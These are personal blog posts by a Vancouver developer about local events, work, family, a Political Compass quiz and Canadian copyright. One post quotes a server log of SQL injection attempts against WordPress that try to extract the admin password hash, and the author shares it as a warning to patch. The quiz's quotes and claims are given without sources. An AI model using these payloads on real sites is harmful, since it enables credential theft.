I'm doing a quiz over at The Political Compass which has some surprising answers. If you've got 10minutes, sift through and answer a few. It'll give you an interesting, if not disturbing outlook on how the world really works.

Here are some examples:

• Who granted several audiences to, and received a donation of more than $1 million from Shoko Asahara, leader of the Supreme Truth cult of Japan, and spreader of sarin gas in the Tokyo subway?
  1. The Dalai Lama
  2. Pope John Paul II
  3. George Carey, as Archbishop of Canterbury
  4. Maharishi Mahesh Yogi
• Who said: "I am strongly in favour of using poisonous gas against uncivilised tribes ... to spread a lively terror?"
  1. Albert Schweizer
  2. Winston Churchill
  3. Princess Diana
  4. Ché Guevara
• Who said: "I do not consider Hitler to be as bad as he is depicted. He is showing an ability that is amazing and seems to be gaining his victories without much bloodshed?
  1. Winston Churchill
  2. Albert Einstein
  3. Mahatma Gandhi
  4. George Orwell

The answers, in order are: The Dalai Lama, Winston Churchill and Mahatma Gandhi.

For those questions and more like them, check out The Political Compass: Iconochasms.

Between the hours of 1:30am and 3:30am last night, I attended FUSE, the Vancouver Art Gallery's new attempt to draw in more people and introduce art to a wider audience. And while I obviously can't speak for everyone there, for my part I have the following review: Bad Idea.

For some reason, I had it in my mind that the event would be an "adult" affair. I had images of nicely dressed people wandering through the gallery at all hours listening to music, drinking wine and having a civil good time. Call me an ignorant old fart if you like -- after last night, I couldn't blame you.

Instead, what I found was a horde of drunk 20somethings getting hammered before they even showed up, puking outside and running around the halls of the building. Horrible, screechy digital music blasting from the inner chamber throughout the building and a few kids in cosplay garb hopped up on LSD attacking their "mortal enemies" from anime-land.

It would seem that I'm continuously forgetting where I live.

One highlight of the evening came just as I walked in: I bumped into k-dot, a girl I know from way back in my high school choir. Of course, she couldn't even remember my name, but I suppose that's alright since she's simply more memorable than I am :-) Anyway, it was nice to see a familiar face in that zoo.

So yeah, FUSE was not cool -- at least for me. And in my book, I honestly think that it takes a way from the dignity of the place. Just once, I'd like to see nightlife in Vancouver happen without public drunkenness, but perhaps I'm asking too much.

Admittedly, there is scientific evidence that beautiful weather does good things to your mood, so perhaps all of this happy-mooding is simply endorphins caused by UV radiation, but frankly, I just don't care enough to worry about such things. The weather today was gorgeous -- a perfect setting for June's Critical Mass ride.

Here are a series of pictures I took throughout our ride while I listened to groovy tunage coming off the back of one guy's ride and checked out the hot girl on rollerblades dancing along side him. Some other fun stuff I saw today:

One of the cyclists waving a peace sign at some of the onlooking pedestrians

The wind in my hair as I cruised in high gear down Georgia St at rush hour.

The tricked out harley-esque bikes and other fun mods, like a bubble machine or speakers mounted on the back.

Girls in fairy wings.

Friendly motorists who were kind enough to wait for us to pass.

This was the biggest CM I've seen so far -- due in part no doubt to the wonderful weather conditions. There were easily a few thousand on the road today. It's a hell of a sight.

It's really an amazing ride. You should try it!

I'm trying to post more here lately as it would seem that since moving to Vancouver, my posts have been more and more sparsely scattered about the month. To that end, here's a quickie post regarding my relatively good day:

I had my review today. Good news: they like my work, and they're giving me a raise (w00t!) The only somewhat negative thing the boss mentioned was how I didn't know enough about Drupal yet. I can understand her position really, I mean, a large portion of our legacy code is in that horrible framework, so it only makes sense that as a senior developer, I know my way around it. I guess I'll just have to take a deep breath, bash my head in with a crowbar, and work from there. ^_^

Anyway, aside from the good review, I found a new sandwich shop in the area that serves giganimous sandwiches, and then discovered some left over birthday cake in the office fridge. This, coupled with the fact that I got a big chunk of work done today (and documented!) made me happy with my current form of employment.

I also fielded a 1hour call with a University student out of Windsor, Ontario to give him some background on the TPSC's CCTV campaign back when I was running the show. That was a bit of nostalgic fun -- kinda like talking to the press, but you can be a little more candid since you know that you're not talking to the uninformed public, but rather a well-read academic.

And then, to top it all off, I came home to a clean apartment AND new groceries in the fridge! Butthead had been hard at work and it showed. Having a roomate might not be so bad after all ;-) He's making a lot of progress with his own life lately though. I'm really quite proud of him.

No, really.

This is the one birthday when everyone tends to think that you're lying about your age. For some reason, everyone wants to be 29, but not 30. I suppose I'll understand this more next year, but at the moment, it just seems silly.

First of all, I'd like to say thanks to all the people who wished me a happy birthday today. Facebook is especially scary, with no less than 54 posts to my wall. Corinne sent me a text message at 12amEST which was pretty cool, and Theresa even called me from London! It's so nice to know that I have so many friends all over the place.

I'm sitting here on the SeaWall watching boats in English Bay and evesdropping on the conversations of passersby while I write out this blog post to be uploaded later. Sadly, despite the symphony of wireless networks floating around me, not one of them is unencrypted and of a reasonable strength to connect. I suppose I could try hacking into the stronger WEP connections, but that takes too much time and I just want to blog.

So a quick update on what's happening in my life lately. I have a new roomate. Well not so much a roomate as family staying with me for a few months. My brother, aka "Butthead" has had some trouble with the girlfriend of late and so he's crashing with me for a few months so he can get his life in order. To be honest, I'm less than thrilled at the prospect of having anyone live with me (I dig the solitude) but when family needs you, you go... or in this case I guess you just give them a key.

On the work front, everything came to a head today. We deployed a big hunk of code that's almost completely dependent on some very cool kung-foo I wrote. Unfortunately, I missed a very minor detail and the whole project blew up for about 3 hours today until I found it, fixt it, and thanked the other teams involved for being patient with me. That was less than cool, but it's working now and the hiccup was documented. I really don't know how the Brass at the company feel about my work of late though -- there's an odd feeling I get when I walk into the office these past few days. My review is tomorrow though, so I guess I'll find out then.

My activism has taken a back seat to my day job over the past few months, but I intend to remedy that soon. The VPSN mapping group I'm in needs a bunch of stuff done and they need it soon, so I've promised them a working model by the 15th. Time to get my ass in gear.

On top of that, I have a new Big Idea that Melanie has convinced me to actually move on. I've documented most of how it would (theoretically) work, but I still need to do some research on practical implementation. I'll post the details soon.

As for my actual birthday, I've decided to take the evening and do close to nothing. I suppose that I should be at choir rehearsal right now, but I just don't want to socialise today. Vancouver's really quite nice when you want to "get away" actually. There are lots of places just to ride your bike to sit for a bit and enjoy the scenery. Maybe I'll go to Stanley Park later, or the Planetarium... I dunno. Does anyone else do the solo thing on their birthday? Is this odd?

Alright, sun's going down. I shall hop back on Syria and see where she takes me.

For those a bit slow on the uptake of movie references, the title of this post is from Resident Evil 2... you know, the one filmed in Toronto ;-)

I just noticed a hack attempt on this site by someone assuming that I was running WordPress:

164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-admin/admin-ajax.php? exploder
164.113.135.124 /wp-trackback.php?tb_id=1 exploder
164.113.135.124 http://www.danielquinn.org/xmlrpc.php exploder
164.113.135.124 http://www.danielquinn.org/?cat=%2527+UNION+SELECT+CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))+FROM+wp_users+where+id=1/* exploder
164.113.135.124 http://www.danielquinn.org/?cat=999+UNION+SELECT+null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* exploder
164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-admin/admin-ajax.php? exploder
164.113.135.124 /wp-trackback.php?tb_id=1 exploder
164.113.135.124 http://danielquinn.org/xmlrpc.php exploder
164.113.135.124 http://danielquinn.org/?cat=%2527+UNION+SELECT+CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))+FROM+wp_users+where+id=1/* exploder
164.113.135.124 http://danielquinn.org/?cat=999+UNION+SELECT+null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* exploder

If you're running WordPress on your own servers, please update your software. It would appear that there's security holes in one of the older versions of which some less-than-noble people are aware.

Also, Python is cool. I just wanted to share that ;-)

At last, it would seem that I have a valid excuse for not writing here for so long: Melanie has been in town for just over a week.

The logic behind the whole situation of course was this: if she really was to move all the way to Vancouver, it makes sense that she might want to see what it's like before committing to the decision. She really couldn't have picked a better time. While it's sweltering and smoggy in Toronto, It's been a moderate 19°C here, low wind, and just a little rain.

As if the weather alone wasn't enough to convince her to move, I sold her on the thing BC's been flaunting for decades: the scenery. We rented a car and drove up to Kelowna through the rocky mountains. We took the scenic route, passing through dense forests and speeding through clouds. We saw waterfalls, lakes, rapids, and a few million tonnes of solid granite sticking out of the ground. Yeah, BC's pretty awesome... and I mean that in the literal sense: "worthy of awe".

I introduced Melanie to as many cool parts of Vancouver as I could, including my parents (in Kelowna), my grandparents and a number of my friends who made it out to my birthday shindig yesterday. We hit the Art Gallery, English Bay, The Marble Slab (w00t!) and even Dr. Sun Yat-Sen Garden in Chinatown that's always closed when I want to visit :-(. My brother got us free gondola tickets (thanks Butthead!) to Grouse Mountain (no Grouse Grind for us... next time.) and Melanie was super-brave and crossed the Capilano Suspension Bridge. We even got a tour of UBC by her Aunt and Uncle who work there.

We didn't get to everything of course. I would have liked to have found time to visit the VPL, Science World, and Granville Island, but I'm sure she'll lots of have time see that stuff when she moves here. That's right, the sales pitch worked. Melanie's moving to Vancouver. The plan is to be in town for January 2009 after a 1month trip to Melbourne, Australia to see her friend Amber (who is almost as awesome as BC).

Also for those of you wondering about the status of our relationship, you're probably not a Facebook addict yet (good for you!) Basically, we're together, though the logistics of two people being "together" with nearly 4000km between them is a bit daunting. I'll just go with what she said in her blog post: FUCK YOU DISTANCE! :-P

So yeah. It's been a long, busy week and now that my "vacation" is over, I have about 16hours before I'm back at work. Sometime... sometime soon I hope, I'll take a break ;-)

For those of you who haven't yet heard the news, CBC has lost the rights to the Hockey Night in Canada theme. You know the tune, "da dada dada, da dada dada..." -- I'd include an MP3 here but I'm having trouble finding one.

It turns out that the song's composer and owner Dolores Claman was asking for just too much money for the re-use of the song on the CBC. They offered her $1million and she turned it down, asking instead for a cool $2.5million to $3million! The CBC is taxpayer-funded people. It can't justify that kind of expense.

And so the song was instead sold to CTV/TSN, a component of CTV Globe Meia's massive conglomerate. They can afford an insane price for a jingle and frankly, it's quite the coup for them. Those notes are Canada's unofficial second anthem. Everyone knows it, and everyone knows it means hockey.

A lot of people are really pissed off about this, and they should be, but not for the reasons about which they seem to be shouting.

Some people are mad at Claman, who's simply exploiting an opportunity for the maximum available profit. It may be a pretty mean thing to do, but she "owns" the song and under our laws, she has every right to do what she's done.

Others are mad at the CBC for not just paying the $2.5million. I'm guessing that these people just have no understanding of what little money a public prodcaster has to work with.

No one however, is talking about the real problem here: that song has been part of Canadian culture for 40 years. Claman has been fully compensated under the terms of a financial contract for the entirety of those years and by all rights, the Canadian people should own that song to do with as we please.

How long should we allow copyright to exist on something so tightly woven into our culture? Isn't 40years of royalties enough to push a song into the public domain? Why should one person have the right to sign over the "ownership" of a song to a corporation in perpetuity?

Listening to CBC Radio One yesterday the broadcasters were joking about how they couldn't even hum it anymore, because the song is owned by someone else. One of the men thought he'd be light-hearted about the whole thing: "How 'bout we just do it one last time? Da dada dada --"

"Ahh, lets not do that" the second man cut in. Clearly, he was nervous about the legal implications of humming our unofficial national anthem.

Via OneGoodMove, Joshua Klein gives a Ted Talk on the possibilities of working with nature to achieve a common goal. Ten minutes of really fascinating science:

It's raining again. The weather here has been more or less consistent these past 4days, dabbling between pouring rain threatening to do so. Most people, you would think would be depressed by the rain. It is, after all, June 5th and it's a cool 10°C outside, but not me. I love this weather. I'm always cool. No sweat-soaked walks in the sticky sun, no scorching heat and melting pavement, just cool clean rain all the time.

It may not always be pretty, but the climate here definitely suits me.